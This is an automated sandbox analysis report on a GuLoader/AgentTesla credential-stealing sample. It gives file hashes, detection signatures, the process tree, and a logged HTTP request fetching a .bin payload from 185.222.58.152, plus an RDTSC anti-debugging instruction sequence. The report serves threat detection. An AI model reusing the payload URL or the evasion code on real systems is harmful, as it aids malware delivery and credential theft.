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Analysis Report SKM_C3350191107102300.exe

Overview

General Information

Sample Name:SKM_C3350191107102300.exe
Analysis ID:356107
MD5:58bb0368bc9cf6ec86c266f54cdefeeb
SHA1:1b9beee4bf56a4d5b31654b7c7404df5ff13f2fe
SHA256:d8eb1f98c2e365646d4b849ce9463769f173f7b4c95ea4dc705429a1798e1cfb
Tags:GuLoader

Most interesting Screenshot:

Detection

AgentTesla GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Potential malicious icon found
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AgentTesla
Yara detected GuLoader
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Hides threads from debuggers
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Startup

  • System is w10x64
  • SKM_C3350191107102300.exe (PID: 7056 cmdline: 'C:\Users\user\Desktop\SKM_C3350191107102300.exe' MD5: 58BB0368BC9CF6EC86C266F54CDEFEEB)
    • RegAsm.exe (PID: 6504 cmdline: 'C:\Users\user\Desktop\SKM_C3350191107102300.exe' MD5: 6FD7592411112729BF6B1F2F6C34899F)
      • conhost.exe (PID: 1012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
    Process Memory Space: RegAsm.exe PID: 6504JoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      Process Memory Space: RegAsm.exe PID: 6504JoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        Process Memory Space: RegAsm.exe PID: 6504JoeSecurity_GuLoaderYara detected GuLoaderJoe Security

          Sigma Overview

          No Sigma rule has matched

          Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Multi AV Scanner detection for submitted fileShow sources
          Source: SKM_C3350191107102300.exeVirustotal: Detection: 21%Perma Link

          Compliance:

          barindex
          Uses 32bit PE filesShow sources
          Source: SKM_C3350191107102300.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

          Networking:

          barindex
          Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
          Source: TrafficSnort IDS: 2018752 ET TROJAN Generic .bin download from Dotted Quad 192.168.2.6:49726 -> 185.222.58.152:80
          Source: Joe Sandbox ViewASN Name: ROOTLAYERNETNL ROOTLAYERNETNL
          Source: global trafficHTTP traffic detected: GET /EDUORIGIN_baxLdLkc20.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.222.58.152Cache-Control: no-cache
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: unknownTCP traffic detected without corresponding DNS query: 185.222.58.152
          Source: global trafficHTTP traffic detected: GET /EDUORIGIN_baxLdLkc20.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 185.222.58.152Cache-Control: no-cache
          Source: RegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
          Source: RegAsm.exeString found in binary or memory: http://185.222.58.152/EDUORIGIN_baxLdLkc20.bin
          Source: RegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://DynDns.comDynDNS
          Source: RegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: http://sHYyUE.com
          Source: RegAsm.exe, 00000004.00000002.603404281.000000001DD21000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

          System Summary:

          barindex
          Potential malicious icon foundShow sources
          Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021066CF NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106A5A NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106A7E NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106A9A NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106AB6 NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106ADE NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106B0A NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106B2E NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_0210677A NtProtectVirtualMemory,NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106B7A NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106B9E NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106BBA NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106BE2 NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_0210680C NtProtectVirtualMemory,NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106C32 NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_0210687F NtProtectVirtualMemory,NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106896 NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02106CAA NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_0210693E NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_0210698E NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021069AA NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021069D6 NtMapViewOfSection,
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021069F6 NtMapViewOfSection,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130693A NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_013063BF NtProtectVirtualMemory,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_013069AA NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130698E NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_013069F6 NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_013069D6 NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306B2E NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306B0A NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306B7A NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306BBA NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306B9E NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306BE2 NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306A7E NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306A5A NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306AB6 NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306A9A NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306ADE NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306C32 NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_01306CAA NtSetInformationThread,
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE78D8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE41E8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE99C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE12F8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FEE588
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_00FE41E0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D972CD8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D970006
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D970040
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D97C3B0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D9805D8
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1DB146A0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1DB14690
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1DB14650
          Source: SKM_C3350191107102300.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
          Source: SKM_C3350191107102300.exe, 00000000.00000002.387312508.00000000020B0000.00000002.00000001.sdmpBinary or memory string: OriginalFilenameuser32j% vs SKM_C3350191107102300.exe
          Source: SKM_C3350191107102300.exe, 00000000.00000000.329778630.000000000040F000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameKlysnerstorv8.exe vs SKM_C3350191107102300.exe
          Source: SKM_C3350191107102300.exeBinary or memory string: OriginalFilenameKlysnerstorv8.exe vs SKM_C3350191107102300.exe
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dll
          Source: SKM_C3350191107102300.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
          Source: classification engineClassification label: mal100.rans.troj.spyw.evad.winEXE@4/0@0/1
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1012:120:WilError_01
          Source: SKM_C3350191107102300.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: SKM_C3350191107102300.exeVirustotal: Detection: 21%
          Source: unknownProcess created: C:\Users\user\Desktop\SKM_C3350191107102300.exe 'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Source: unknownProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Source: unknownProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\SKM_C3350191107102300.exe'
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

          Data Obfuscation:

          barindex
          Yara detected GuLoaderShow sources
          Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 6504, type: MEMORY
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_00408C00 push 0000001Eh; iretd
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_00403EDA push edi; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02105A4A push es; ret
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02105A71 push es; ret
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101CBE push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021008AB push edx; ret
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101CD6 push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101D1C push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101D1C push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101D3E push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_02101D28 push ss; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021045B1 push ebx; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeCode function: 0_2_021005AF push cs; retf
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_1D979E4C push E8FFFFFFh; retf
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX

          Malware Analysis System Evasion:

          barindex
          Contains functionality to detect hardware virtualization (CPUID execution measurement)Show sources
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 4_2_0130210C
          Detected RDTSC dummy instruction sequence (likely for instruction hammering)Show sources
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 0000000002102FA2 second address: 0000000002102FA2 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007F7E70A9D098h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test bl, dl 0x0000001f cmp eax, ebx 0x00000021 pop ecx 0x00000022 test ebx, ecx 0x00000024 add edi, edx 0x00000026 dec ecx 0x00000027 pushad 0x00000028 mov ah, F0h 0x0000002a cmp ah, FFFFFFF0h 0x0000002d jne 00007F7E70A9C5A5h 0x00000033 popad 0x00000034 cmp ecx, 00000000h 0x00000037 jne 00007F7E70A9D043h 0x00000039 push ecx 0x0000003a jmp 00007F7E70A9D0AAh 0x0000003c push esi 0x0000003d mov esi, 6EF0E26Ch 0x00000042 cmp esi, 6EF0E26Ch 0x00000048 jne 00007F7E70A9A718h 0x0000004e pop esi 0x0000004f call 00007F7E70A9D0E7h 0x00000054 call 00007F7E70A9D0A8h 0x00000059 lfence 0x0000005c mov edx, dword ptr [7FFE0014h] 0x00000062 lfence 0x00000065 ret 0x00000066 mov esi, edx 0x00000068 pushad 0x00000069 rdtsc
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 00000000021006BA second address: 00000000021006BA instructions:
          Source: C:\Users\user\Desktop\SKM_C3350191107102300.exeRDTSC instruction interceptor: First address: 0000000002100853 second address: 0000000002100853 instructions:
